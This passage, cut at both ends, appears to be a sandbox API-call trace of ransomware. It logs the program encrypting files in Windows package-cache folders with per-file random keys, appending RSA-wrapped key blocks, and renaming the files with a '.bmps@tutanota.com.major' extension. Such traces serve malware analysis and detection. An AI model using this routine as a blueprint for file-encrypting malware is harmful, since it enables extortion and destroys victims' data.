nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0176.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0176.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0176.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0176.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="86YoYS1c74psvZ1D6G/9znEUPXVmHkzLm3nM2x6VbX/Lg9c844IfKf84UYqZ0bte\n2A8m4hsft7M8MrZ79saJmjLAYzRxZO6aEz0w569Y4xcyjWPYlOGHzDPpB2BBPYLR\nE1jeitpaL4GtXXnDkXYi0Xh93IJPvCi4zw9UBKI/zj2xNsQIXlsveguMztdo3Bsz\n7c7WWCvE/JJu5Uif0+0ZY04FeKidnJhLtelkhgXwLDDRI+AoLS0K8bBInSdAHbhE\nQY8PjV7sZFWHEMxKw4P7bsOxKFpiRmWQP4tpY5ak4lc1mH0+gJnaHnFr1cZ9Q6Ff\nD9NDMLEiPTfbdLFQ3ic7fA==\n", pcchString=0x2e3f9a8) returned 1 [0176.164] WriteFile (in: hFile=0x7f4, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0176.165] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0176.165] WriteFile (in: hFile=0x7f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0176.165] CloseHandle (hObject=0x7f4) returned 1 [0176.165] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0176.167] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0176.167] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0176.168] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4 [0176.168] GetFileSizeEx (in: hFile=0x7f4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=809765) returned 1 [0176.168] ReadFile (in: hFile=0x7f4, lpBuffer=0x679020, nNumberOfBytesToRead=0xc5b25, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x679020*, lpNumberOfBytesRead=0x2e3f9b4*=0xc5b25, lpOverlapped=0x0) returned 1 [0176.470] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=-809765, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.470] WriteFile (in: hFile=0x7f4, lpBuffer=0x3149020*, nNumberOfBytesToWrite=0xc5b25, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3149020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc5b25, lpOverlapped=0x0) returned 1 [0176.472] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc5b25 [0176.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0176.472] WriteFile (in: hFile=0x7f4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0176.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0176.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0176.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0176.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="A5PKtH/qtygvI8mHZWNYPi91XRQ7lRCkJ/Zq/4223ddT7NvfJnr7aNrHE5nSUM/o\nB2JwkkcpRbatABl41W4+LSJYDnxsFo0mP3o5RiL3pbQJFSglpuAsVKJopHNAcoYT\n2GNQm0cuAWC94Pm51NqmirFOxJURVXnaa97729RXZ5cUxjJXPtA7pWDWr6lLVky7\nyqA58YnisWTwDip2lLnek0Il4zEn4SdPyAW/EffvpWKa4n23LZDDW7SMmC/vm6G4\n+CgvVaphOkcDzRaSsA8WXHNZaabmcZUnWKrF2RDHnZWH4x9xop6busPIHM9/275j\nWZRB1izgazL1hWrOW0gwnw==\n", pcchString=0x2e3f9a8) returned 1 [0176.472] WriteFile (in: hFile=0x7f4, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0176.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0176.473] WriteFile (in: hFile=0x7f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0176.473] CloseHandle (hObject=0x7f4) returned 1 [0176.473] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0176.476] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653f60 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] FindNextFileW (in: hFindFile=0x653f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] FindNextFileW (in: hFindFile=0x653f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] FindNextFileW (in: hFindFile=0x653f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b0a045, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b0a045, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.476] GetLastError () returned 0x0 [0176.476] SetLastError (dwErrCode=0x0) [0176.477] FindNextFileW (in: hFindFile=0x653f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0176.477] SetLastError (dwErrCode=0x0) [0176.477] GetLastError () returned 0x0 [0176.477] SetLastError (dwErrCode=0x0) [0176.477] SetLastError (dwErrCode=0x0) [0176.477] FindNextFileW (in: hFindFile=0x653f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0176.477] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0176.477] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", dwFileAttributes=0x80) returned 1 [0176.477] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0176.477] GetFileSizeEx (in: hFile=0x7f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=143360) returned 1 [0176.477] ReadFile (in: hFile=0x7f8, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0176.644] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.644] WriteFile (in: hFile=0x7f8, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0176.645] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23000 [0176.645] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0176.645] WriteFile (in: hFile=0x7f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0176.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0176.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0176.646] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0176.646] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="6atlpSY+xFEtFefuwRiJx99O2kl9E/7JY4/Gcl+QTpBUIM0os1RKcMawTlaypLGI\nYNRm5bJw0rnpEimPacnA64H8rh/sSrJpIaLQnz860bx6dotncqcNmQKRdNIp5Mnz\nBkkj087A7Y173ERjbXBQIB9eomgUgO+tK94yOIn+13g97v5g0Vh/woSlHhNHF/ij\no81uj42DdHqvN7P25vNF9tgehtTypPFAmANf5ZA4OxHcFnAbmFdNGZCR25SeHpvM\n15qdoOafDj/7Fum9VaNiRW6kFuYtoNVU43o6nZ5/V9B+9Ph84vhn39+no7hdpInS\n75V8Q92YAfInqPIyrcgDSA==\n", pcchString=0x2e3f9a8) returned 1 [0176.646] WriteFile (in: hFile=0x7f8, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0176.646] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0176.646] WriteFile (in: hFile=0x7f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0176.646] CloseHandle (hObject=0x7f8) returned 1 [0176.647] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0176.649] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0176.649] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0176.649] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0176.650] GetFileSizeEx (in: hFile=0x7f8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5881317) returned 1 [0176.650] ReadFile (in: hFile=0x7f8, lpBuffer=0x314a020, nNumberOfBytesToRead=0x59bde5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314a020*, lpNumberOfBytesRead=0x2e3f9b4*=0x59bde5, lpOverlapped=0x0) returned 1 [0177.142] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=-5881317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.142] WriteFile (in: hFile=0x7f8, lpBuffer=0x36fe020*, nNumberOfBytesToWrite=0x59bde5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36fe020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x59bde5, lpOverlapped=0x0) returned 1 [0177.219] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x59bde5 [0177.219] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.220] WriteFile (in: hFile=0x7f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.220] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0177.220] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0177.220] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0177.220] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="FAovXEW2+4G+VCFtfNxzhnC9V+oVhCZ86BS/AUshju9oP+eHLFuc6VOeMwyHMqkt\nlet9QIBwITHBW3NVkh7vguG3MX35TrQSpcZwt272WtCTgWvQEEEdyEX8elu7NCBp\n3GFuzyvC6v6WYg0OHPI1xr9Jmg1KtVerqPKks6dD5uuaSCylds1zSfwgY92xn/1/\nHvoLDjsh6tH/qB8kQlgB3ThtZEn2CJ+haMK/bMLHs51aPdbEJ4Fv6heZjB7j6Mfl\n3x8guPlJOvKvIb/fLV/JXusxqXL3GsEJ8C/2tiihBJl78JucBW4EFfNWOW/cYD9h\nJ6a/E6nvC2lq8ZQEL8k3kg==\n", pcchString=0x2e3f9a8) returned 1 [0177.220] WriteFile (in: hFile=0x7f8, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0177.220] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.220] WriteFile (in: hFile=0x7f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.220] CloseHandle (hObject=0x7f8) returned 1 [0177.221] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0177.222] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e378 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] GetLastError () returned 0x0 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] GetLastError () returned 0x0 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] FindNextFileW (in: hFindFile=0x58e378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] GetLastError () returned 0x0 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] GetLastError () returned 0x0 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] FindNextFileW (in: hFindFile=0x58e378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] GetLastError () returned 0x0 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] GetLastError () returned 0x0 [0177.223] SetLastError (dwErrCode=0x0) [0177.223] FindNextFileW (in: hFindFile=0x58e378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b0a045, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b0a045, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b0a045, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0177.223] SetLastError (dwErrCode=0x0) [0177.224] GetLastError () returned 0x0 [0177.224] SetLastError (dwErrCode=0x0) [0177.224] GetLastError () returned 0x0 [0177.224] SetLastError 